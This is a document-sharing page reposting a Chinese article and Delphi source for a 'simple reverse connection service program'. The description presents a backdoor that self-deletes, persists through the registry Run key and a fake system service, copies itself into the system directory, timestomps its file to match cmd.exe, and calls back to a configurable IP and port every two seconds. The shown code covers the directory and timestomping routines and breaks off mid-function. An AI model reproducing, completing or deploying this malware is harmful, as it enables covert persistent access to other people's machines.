Delphi一个简单的反向连接服务程序.docVIP

  • 3
  • 0
  • 约8.16千字
  • 约 8页
  • 2016-09-21 发布于重庆
  • 举报
Delphi一个简单的反向连接服务程序

[Delphi]一个简单的反向连接服务程序???[转] 作者:hnxyy???来源:火狐? 功能简介: 运行后自删除,写注册表Run下,同时自拷贝到系统目录下,注册为系统服务SvrDemo,修改文件时间同Cmd.exe,每隔俩秒钟连接一次本地(127.0.0.1)的600端口,ip地址和端口可自行修改,部分代码来源于网上修改,主要在于演示服务程序,用fsg2.0加壳后9.8k,编译环境D7+2kPro。 在命令行下加参数?/U?可以卸载服务程序。 program?SvrDemo; uses ??Windows, ??WinSvc, ??winsock; const ??RegName?=?SvrDemo; var ??szServiceName:?pchar?=?SvrDemo; ??szFileNamechar; ??ServiceTable:?array?[0..1]?of?TServiceTableEntry; ??Status:?SERVICE_STATUS; ??StatusHandle:?SERVICE_STATUS_HANDLE; ??Stopped:?boolean; ??Paused:?boolean; ??cmd?:array[0..MAX_PATH]?of?char; //获取系统目录 function?GetDirectory(dInt:?Integer):?string; var ??s:?array[0..255]?of?Char; begin ??case?dInt?of ????0:?GetWindowsDirectory(@s,?256);??//Windows安装文件夾所存在的路径 ????1:?GetSystemDirectory(@s,?256);???//系统文件夾所存在的路径 ????2:?GetTempPath(256,@s);???????????//Temp文件夾所存在的路径 ??end; ??if?dInt=2?then ????result?:=string(s) ??else ????result?:=?string(s)?+?\; end; //设置文件时间 procedure?setTime(srcFile,destFile:PChar); var ??hFileOld,hFileNew?:THandle; ??CreationTime,?LastAccessTime,?LastWriteTime?:PFileTime; begin ??hFileOld?:=createFile(srcFile,generic_read,file_share_read,nil, ????????????????????????open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil)); ??if?(hFileOld=INVALID_HANDLE_VALUE)?then?exit; ??hFileNew?:=createFile(destFile,generic_write,file_share_write,nil, ????????????????????????open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil)); ??if?(hFileNew=INVALID_HANDLE_VALUE)?then?exit; ??GetMem(CreationTime,SizeOf(TFileTime)); ??GetMem(LastAccessTime,SizeOf(TFileTime)); ??GetMem(LastWriteTime,SizeOf(TFileTime)); ??GetFileTime(hFileOld,CreationTime,LastAccessTime,LastWriteTime); ??SetFileTime(hFileNew,CreationTime,LastAccessTime,LastWriteTime); ??FreeMem(CreationTime); ??FreeMem(LastAccesstime); ??FreeMem(LastWriteTime); ??CloseHandle(hFileNew); ??CloseHandle(hFileOld); end; function?LookupName(const?Name:?string):?TInAddr; var ??HostEnt:?PHostEnt; ??InAddr:?TInAddr; begin ??HostEnt?:=?gethostbyname(PChar(Name)); ??Fil

文档评论(0)

1亿VIP精品文档

相关文档